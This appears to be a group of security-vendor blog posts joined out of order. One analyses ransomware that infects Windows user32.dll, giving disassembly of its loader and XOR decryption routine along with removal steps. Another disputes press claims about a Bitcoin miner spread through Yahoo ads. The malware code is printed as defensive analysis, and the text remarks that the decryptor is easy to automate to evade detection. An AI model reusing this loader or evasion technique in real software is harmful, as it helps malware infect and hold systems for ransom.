7e46d51e  add   esi,8D200h              ; ESI = address of encrypted
                                        ; payload in resource section
7e46d524  mov	ecx,98AEh               ; Number of bytes to copy
7e46d529  rep movs es:[edi],ds:[esi]    ; Copy to allocated (executable)
                                        ; memory range
7e46d52b  add	esp,8
7e46d52e  add	eax,981Eh               ; EAX = address of decryption code
                                        ; (0029981E)
7e46d533  jmp	eax                     ; Start decryption !!

The decryption loop is comparable to the previous version, only some constant values are modified, like for instance the decryption key.

Decryption loop:
0029981e  call  00299823
00299823  pop   edx			; EDX = current location
00299824  sub   edx,7FFA2F3Dh
0029982a  push  esi
0029982b  lea   esi,[edx+7FFA2F38h]	; ESI = 0029981E – start of
                                        ; decryption code
00299831  mov   ecx,981Eh		; Encrypted payload length
00299836  sub   esi,ecx			; ESI = allocated mem-base (290000)
00299838  push  esi
00299839  mov   ebx,1218F90h		; The XOR key (BL only, so 90h)
0029983e  xor   byte ptr [esi],bl	; Decrypt a byte of the encrypted
                                        ; payload
00299840  inc   esi
00299841  inc   ebx			; Modify XOR key for each byte (+1)
00299842  loop  0029983e
00299844  pop   eax
00299845  pop   ecx
00299846  mov   [eax+12h],ecx
00299849  jmp   eax			; Jump to allocated mem-base, which
                                        ; is now decrypted.

Removing the ransomware from your system
Victims can use HitmanPro.Kickstart to get rid of the police themed ransomware infection (including this new variant). If HitmanPro detects the ransomware it will query our cloud service to obtain a clean system file, which will be used to replace the infected one on your system.

If for some reason the specific version of your infected user32.dll cannot be obtained from the cloud service, you can manually copy a clean version of user32.dll onto the HitmanPro.Kickstart flash drive. If the version of the infected file on your disk matches that of the clean version on the flash drive, HitmanPro will use that version to replace the infected one on your Windows installation.

You can download HitmanPro with Kickstart from here:

Auto: http://get.hitmanpro.com
32-bit: http://dl.surfright.nl/HitmanPro.exe
64-bit: http://dl.surfright.nl/HitmanPro_x64.exe

 

Manual replacement of user32.dll
In the occasion that you are not able to obtain a clean version of user32.dll for your system, you can try the following manual procedure.

The ransomware makes an encrypted copy of the original user32.dll file and stores it in:

C:\Windows\System32\user32.ini
or
C:\Windows\SysWOW64\user32.ini.

You can decrypt this file using our User32DLL decryptor tool, which can be downloaded from: http://dl.surfright.nl/User32Decryptor.exe

See the following screenshot for an example:

You need to retrieve the encrypted user32.ini by e.g. using a Hiren’s boot-cd or some other bootable medium that is able to access your Windows system disk. Once you have decrypted the file, you can simply copy it to the HitmanPro.Kickstart flash drive. Note that the file must be named user32.dll. Once the decrypted file has been placed on the flash drive, you can boot your system with the HitmanPro.Kickstart flashdrive and HitmanPro will use the manually decrypted user32.dll to replace the infected one on your system.

Note: When performing this action, make a copy of the infected user32.dll. In case something goes wrong with the procedure, you can always restore the infected file so your system will at least be able to boot correctly.

 

Samples:

13E418BF18B03AC80580DB69ADA305A2B7093DFED00692DCF91A99D2526D3A73

Ransomware infecting user32.dll

Over the past months we’ve been monitoring a new variant of the Department of Justice (DOJ) ransomware.

Till date there is nothing written about this new variant on the internet. This blog item aims to address this.

Analysis of this particular ransomware shows that the method to infect victims is different compared to previous ransomware samples. Instead of dropping an executable on the system it infects the Windows system DLL: user32.dll.

This file is typically located in:
C:\Windows\System32\user32.dll
      or
C:\Windows\SysWOW64\user32.dll

So far we’ve observed that the ransomware is only infecting the 32-bit version of user32.dll.

Static detection
Our support desk helped a victim in January 2014. Four months later, detection is still poor:

Resource section
The ransomware enlarges the resource section of user32.dll as can be seen in the table below:

Original user32.dll				Infected user32.dll
name	va	vsize	rawsize	name	va	vsize	rawsize
.text	0x1000	0x5f283	0x5f400	.text	0x1000	0x5f283	0x5f400
.data	0x61000	0x1180	0xc00	.data	0x61000	0x1180	0xc00
.rsrc	0x63000	0x2a088	0x2a200	.rsrc	0x63000	0x33a88	0x33c00
.reloc	0x8e000	0x2de4	0x2e00	.reloc	0x8e000	0x2de4	0x2e00

Analysis of the increased resource section in this file shows that it contains an encrypted payload with a decryptor embedded. We will show how the malware gets active once it has successfully infected the user32.dll file.

EntryPoint patched
The code in the entrypoint of an infected user32.dll is patched with a jump to AlignRects, as can be seen below:

Original:

UserClientDllInitialize:
7e41b217 8B FF          mov  edi, edi 
7e41b219 55             push ebp 
7e41b21a 8B EC          mov  ebp, esp 
7e41b21c 83 7D 0C 01    cmp  [ebp+0xC], 1 
7e41b220 75 05          jnz  0x7e41b227
 
7e41b222 E8 5D 07 00 00 call 0x7e41b984
 
7e41b227 5D             pop  ebp 
7e41b228 90             nop 
7e41b229 90             nop 
7e41b22a 90             nop 
7e41b22b 90             nop 
7e41b22c 90             nop 
7e41b22d 8B FF          mov  edi, edi 
7e41b22f 55             push ebp 
7e41b230 8B EC          mov  ebp, esp

Patched:

UserClientDllInitialize:
7e41b217 8B FF          mov  edi, edi 
7e41b219 55             push ebp 
7e41b21a 8B EC          mov  ebp, esp 
7e41b21c 83 7D 0C 01    cmp  [ebp+0xC], 1 
7e41b220 75 0E          jnz  0x7e41b230
 
7e41b222 E8 00 00 00 00 call 0x7e41b227
 
7e41b227 83 04 24 0A    add  [esp], 0xa 
7e41b22b E9 B0 22 05 00 jmp  AlignRects 
________________________________________
7e41b230 8B EC          mov  ebp, esp

The code at AlignRects is not the original, but is replaced with code that allocates a new block of executable memory. Hereafter it copies the encrypted payload from the resource section to this newly allocated memory.

AlignRects:
7e46d4e0  leave 
7e46d4e1  pusha 
7e46d4e2  push ebp
7e46d4e3  mov  ebp, esp
7e46d4e5  sub  esp, 8
7e46d4e8  mov  eax, [ebp+0x4C]        ; EAX becomes base-address of 
                                      ; user32.dll (7E410000)
7e46d4eb  mov  ecx, eax
7e46d4ed  add  eax, 0x13bc
7e46d4f2  mov  eax, [eax]             ; EAX becomes address of 
                                      ; NtQueryVirtualMemory

7e46d4f4  add  eax, 0xfffff5f0        ; EAX becomes address of 
                                      ; NtAllocateVirtualMemory
7e46d4f9  push 0x40
7e46d4fb  push 0x3000
7e46d500  lea  ecx, [ebp-0x4]
7e46d503  mov  [ecx], 0xc576
7e46d509  push ecx
7e46d50a  push 0
7e46d50c  lea  ecx, [ebp-0x8]
7e46d50f  mov  [ecx], 0
7e46d515  push ecx
7e46d516  push 0xff
7e46d518  call eax                    ; Call NtAllocateVirtualMemory
7e46d51a  mov  edi, [ebp-0x8]         ; EDI = allocated address
7e46d51d  mov  eax, edi
7e46d51f  mov  esi, [ebp+0x4C]        ; ESI = base-address of 
                                      ;       user32.dll (7E410000)
7e46d522  add esi, 0x8d200            ; ESI = address of encrypted payload 
                                      ;       in resource section
7e46d528  mov ecx, 0x98bb
7e46d52d  rep movs es:[edi], ds:[esi] ; Copy to allocated 
                                      ; (executable) range
7e46d52f  leave 
7e46d530  add  eax, 0x981e            ; EAX = address of decryption code
7e46d535  jmp  eax                    ; Start decryption !!

As can be seen from this code an executable block of memory is allocated. In order to do that, the address of NtAllocateVirtualMemory is calculated using the address of NtQueryVirtualMemory, which was obtained from the IAT of user32.dll.

The encrypted payload is copied into the newly allocated range of memory. This encrypted payload contains a small piece of decryption code, located near the end of the encrypted payload. This decryption code is shown below:

0:000> r
eax=0029981e ebx=7e41b217 ecx=00000000 edx=7c90e514 esi=7e4a6abb edi=002998bb
eip=0029981e esp=0007f9d4 ebp=0007fa10 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

0:000> u eax l20
0029981e call 00299823
00299823 pop  edx                     EDX = current location !
00299824 sub  edx,7FFA2F22h
0029982a push esi
0029982b lea  esi,[edx+7FFA2F1Dh]     ESI = allocated mem-base (290000)
00299831 mov  ecx,981Eh               ECX = size to decrypt (num bytes)
00299836 sub  esi,ecx
00299838 push esi
00299839 mov  ebx,6FAAEh              The XOR key (BL only, so AEh)
0029983e xor  byte ptr [esi],bl       Decrypt byte-by-byte
00299840 inc  esi
00299841 inc  ebx                     Modify XOR key for each byte (+1)
00299842 loop 0029983e
00299844 pop  eax
00299845 pop  ecx
00299846 mov  dword ptr [eax+12h],ecx
00299849 jmp  eax                     Jump to allocated mem-base, 
                                      which is now decrypted.

The decryption of the payload uses a XOR based decryption scheme were the XOR value for each byte to decrypt is incremented after each operation.

Once all bytes in the allocated memory range are decrypted, the now plain code is executed. Note the first two instructions of this decryption code, where a call/pop combination is used to obtain the current address.

This makes the decryption code position independent. The only ‘fixed’ values in this code are the size of the encrypted payload and the XOR key, so automating the payload and decryptor to avoid static detection can be easily accomplished.

Once the ransomware becomes active, some typical ransomware behavior is performed:

• Windows Safe Mode is disabled
• Task Manager is blocked
• Command Prompt is blocked
• Registry Editor is blocked

… and of course the police themed picture is shown where a ransom fee is demanded in order to release the PC (see picture at the top of this article).

Victims can use the very easy-to-use HitmanPro.Kickstart to get rid of police themed ransomware infection.

Blocking CD-ROM drives
A new property of this particular ransomware is that it disables CD-ROM drives. This makes it for some computers harder to clean the system as is explained below.

When HitmanPro detects a system file that is infected, it searches for a white-listed variant on the computer. This as Windows tends to keep a copy of system files on multiple locations on the hard disk.
If HitmanPro cannot find a white-listed known safe version, it prompts for the Windows installation CD/DVD media that came with the computer. This is a very useful feature of HitmanPro and it has been in HitmanPro for years to return infected system files to pristine state!

But since this new ransomware infection blocks access to the CD/DVD the user can no longer provide the Windows installation media for original files.

New Cloud Service
EDIT: HitmanPro build 219 (or newer) queries a new HitmanPro-cloud service that can provide a clean system file so that the user no longer has to provide Windows installation media.

32-bit: http://dl.surfright.nl/HitmanPro.exe
64-bit: http://dl.surfright.nl/HitmanPro_x64.exe

 

Samples:

3AF4FA2BFFAAB37FD557AE8146AE0A29BA0FAF6D99AD8A1A8D5BF598AC9A23D1
3A061EE07D87A6BB13E613E000E9F685CBFFB96BD7024A9E7B4CB0BE9A4AF38C
7DD93123078B383EC179C4C381F9119F4EAC4EFB287FE8F538A82E7336DFA4CA

Background on hyped Bitcoin miner served via Yahoo

Last Friday security researchers from Fox-IT noticed that Yahoo was inadvertently spreading malware via its advertisement services. Last Monday the Israel-based security company Light Cyber spread a much hyped press release that most of the malware was used to mine Bitcoins. I am personally a bit surprised that the BBC, The Guardian and even Interpol tweeted about it, as Light Cyber provided little to no details or evidence.

The story is not completely wrong but, when you read those articles, the perception now is that the entire attack revolved around Bitcoin mining, which is false.

We saw the Bitcoin miner too but omitted it from our initial excerpt because, according to our own telemetry, only 4% of the victims that we rescued received this malware. And contrary to popular belief, click fraud and banking malware is a lot faster lucrative than mining Bitcoins with malware, as a miner likely requires specific hardware to be effective and that it will not survive long on a victim’s computer. In fact, this miner is easily picked up by antivirus software. And infected users will certainly notice the stressed out processor and/or GPU, which seriously hinders normal work or gaming.

Let me provide some useable evidence.

Citadel
We found that a Citadel trojan in this attack pulled in the Bitcoin miner about a minute after the PC got infected. Citadel is based on the Zeus banking malware, also known as Zbot. It typically creates a random folder under the %AppData% folder and has a random filename of typically 5 or 6 characters, e.g.:

C:\Users\<user>\AppData\Roaming\Iquha\ruyvy.exe

On each victim computer this malware is uniquely obfuscated to evade antivirus detection.

cgminer
The Bitcoin miner, however, is actually a wrapped version of an abused legitimate tool called cgminer, version 3.7.2 to be exact. Cgminer is a multi-threaded multi-pool FPGA and ASIC miner and relies on the OpenCL framework to perform the hashing computations for Bitcoin mining. OpenCL is mandatory for cgminer, which is by default not installed on Windows computers. This means that cgminer only works/affects machines with the OpenCL SDK installed or with special gaming-oriented hardware, as OpenCL.dll only comes standard with certain display drivers from AMD and NVIDIA.

In this attack, the cgminer malware was installed here:

C:\JvaApp\wdsdll.exe

When the victim computer is equipped with a modern GPU, this tool can produce hash rates orders of magnitude higher than what can be achieved with just a CPU. If the computer doesn’t have a capable GPU to speed up mining it returns “clDevicesNum returned error, no GPUs usable”.

The miner uses libcurl for communication with a mining pool. Libcurl is also legitimate software.

Some SHA-256 hashes for the security community:

9621744EF9C063DAB33CCA0FD4CCB24D79D227AC29D28CD27797338ACD9ABD47
A99253A538C3EF1945E146050645E321DA3B055A2624F83356FCB3F8C37B0DB3
31DD1B7A65EEC28F0D2B03E070290494A945AD4643053D8396B5DC65DE595409
26CE58F04C7A002CDBE6F05BADF0E986825B25138802368D79C300B3E2E2E2F0

So the attackers do not have a 2.5-million-large Bitcoin mining network (or ‘bitnet’). This ‘bitnet’ is also not as effective as some think. A single infected computer with e.g. a decent NVIDIA GTX 560 Ti display card would take a week to generate EUR €0,1430 (at about 85.1 MHash/sec). We do not have hardware specifications of any or all victim computers, so let’s assume (hypothetically) that 1/4 of these infected machines would have this special NVIDIA display card. Also assuming that the miner would not have been noticed by antivirus software or the user, this ‘bitnet’ of 25,000 computers (1/4 of 4% of 2.5 million) would have generated about 5.5 BTC, or EUR €3,575 at the current exchange rate of the virtual currency.

The created perception that Bitcoin mining was the driving force behind the Yahoo attack is just plain wrong. The attack is about the people who earned a lot by offering their malware staging area at Yahoo to a multitude of criminals. Hence the enormous variety of malware. Surely, malware designed to steal your identity or banking credentials is far more threatening than malware which only takes a toll on your computers speed.